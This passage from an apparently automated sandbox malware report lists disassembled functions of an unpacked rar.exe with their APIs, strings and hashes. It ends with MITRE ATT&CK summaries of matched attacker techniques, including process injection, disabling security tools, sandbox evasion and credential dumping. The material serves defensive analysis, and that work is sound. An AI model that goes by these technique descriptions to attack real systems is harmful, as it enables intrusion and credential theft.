Instruction Fuzzy Hash: 4141E512A0C68256EB20AB19E5012B96362AF067C4F8085B1DD7DC77DAFE2CE94FC704

Function 00007FF6FAA83B0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FAA83B36
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6FAA7B066), ref: 00007FF6FAA83B57

Strings

C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe, xrefs: 00007FF6FAA83B45

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe
API String ID: 3307058713-2129694862
Opcode ID: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction ID: a19a8a664bfd4ef849d5d9afefa66b2bb0683228af6057c2c8bf06e5b18a4e8d
Opcode Fuzzy Hash: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction Fuzzy Hash: 6F419076A0CB9286EB15DF2598400B877A4EF44BC4B4850B5E96D87BD5EF3DE48B8310

Function 00007FF6FAA67C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,00007FF6FAA67471), ref: 00007FF6FAA67C96
wcsstr.LIBVCRUNTIME ref: 00007FF6FAA67CBC

Strings

System Volume Information\, xrefs: 00007FF6FAA67CB2

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AttributesFilewcsstr
String ID: System Volume Information\
API String ID: 1592324571-4227249723
Opcode ID: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction ID: a03bc7aa52d29f57f3cdd0e9ee70a4dc7d12a533fae39b161d083d95fb898e19
Opcode Fuzzy Hash: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction Fuzzy Hash: 69310721A2968185FB51DF25A1606BE6770AF46BC0F0440B1EE6D877D5FE3CE04B8B00

Function 00007FF6FAA34888 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA348F8

Part of subcall function 00007FF6FAA649F4: LoadStringW.USER32 ref: 00007FF6FAA64A7B
Part of subcall function 00007FF6FAA649F4: LoadStringW.USER32 ref: 00007FF6FAA64A94

Part of subcall function 00007FF6FAA38444: fflush.LIBCMT ref: 00007FF6FAA38477

Strings

%d.%02d, xrefs: 00007FF6FAA348DE
[, xrefs: 00007FF6FAA348E5

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: LoadString$fflushswprintf
String ID: %d.%02d$[
API String ID: 1946543793-195111373
Opcode ID: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction ID: cf48c8fa72c3eaae9902f7e43d94a65b204b737318aa82229d2b851d1e0e192f
Opcode Fuzzy Hash: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction Fuzzy Hash: 8931B321A0D6C252FB50EB24E5163B92390AF45784F4444B9D6AE8B7C6FF3EE54ECB00

Function 00007FF6FAA63C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA63CB0

Strings

$%s, xrefs: 00007FF6FAA63C9D
@%s, xrefs: 00007FF6FAA63C94

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: snprintf
String ID: $%s$@%s
API String ID: 4288800496-834177443
Opcode ID: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction ID: a760a9466c991b522cd11432e136dfc289ba78e84f319784a28475f459cf97c7
Opcode Fuzzy Hash: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction Fuzzy Hash: 4631AD62A18E8295EB118F59E4407B927A0FF46784F401072EE2D97BD9EE3DE50FDB00

Function 00007FF6FAA5F474 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA5F4D2

Strings

fixed%u., xrefs: 00007FF6FAA5F4C6
fixed., xrefs: 00007FF6FAA5F4B8

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: swprintf
String ID: fixed%u.$fixed.
API String ID: 233258989-2525383582
Opcode ID: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction ID: 362eb8f0e32feda82da7b7486c6cd5bf08d7409057e2cb8395b09f4c62ab4ecc
Opcode Fuzzy Hash: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction Fuzzy Hash: 2931A662A1868156EB109B25E5013EA6760FB45790F504172EE6D976DAFE3CD10FCB10

Function 00007FF6FAA649F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6FAA64A7B
LoadStringW.USER32 ref: 00007FF6FAA64A94

Strings

Done, xrefs: 00007FF6FAA64A16

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: LoadString
String ID: Done
API String ID: 2948472770-499744565
Opcode ID: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction ID: 5c50a4be1033d63971349525c9da859516025af59b1fed0ca624d4ca46ecc1f5
Opcode Fuzzy Hash: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction Fuzzy Hash: EC116D71B18B4586E7108F1AE940069B7A1FB99FC0F54857ACE2CC33A5FE3DE54B8644

Function 00007FF6FAA25DB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA25E1B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA25E2F

Strings

;%%0%du, xrefs: 00007FF6FAA25E0A

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%%0%du
API String ID: 233258989-2249936285
Opcode ID: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction ID: 4cc6f53f68ea30be4eb5985fff9e94d94ce79bf82ae2be49c977b9d68a6abe64
Opcode Fuzzy Hash: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction Fuzzy Hash: 18119032B1868186E7209F25E4103E973A0FB88784F584071DB9D8779AEE3CE95ACB40

Function 00007FF6FAA4331C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA542CC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA5430F

GetVolumeInformationW.KERNEL32(?,00007FF6FAA40BED,?,?,00000000,?,?,00007FF6FAA3F30F,00000000,00007FF6FAA26380,?,00007FF6FAA22EC8), ref: 00007FF6FAA4337E

Strings

FAT, xrefs: 00007FF6FAA43388
FAT32, xrefs: 00007FF6FAA4339D

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: InformationVolumeswprintf
String ID: FAT$FAT32
API String ID: 989755765-1174603449
Opcode ID: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction ID: 99cf1157c272641e5b8c69af5694730b0d1d9e957c6bd017ba36baf769ba44a2
Opcode Fuzzy Hash: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction Fuzzy Hash: 8F114231A1CA8241F7609B10E8812A66395FF85344F805075E95DC7ADAFF3DE11ECB14

Function 00007FF6FAA6B974 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF6FAA6B97B
GetLastError.KERNEL32 ref: 00007FF6FAA6B986

Part of subcall function 00007FF6FAA3CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA3CEDE

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF6FAA6B990

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ErrorExceptionLastObjectSingleThrowWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 564652978-2248577382
Opcode ID: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction ID: 36664ab1982edc3abb4703c617b5a6a1e618847335effe3dfa303e5996c69b8a
Opcode Fuzzy Hash: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction Fuzzy Hash: 53E04F22E1890282E740A724EC820753351AF657B4F9007B0D03EC26E5BF3DA55F8301

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
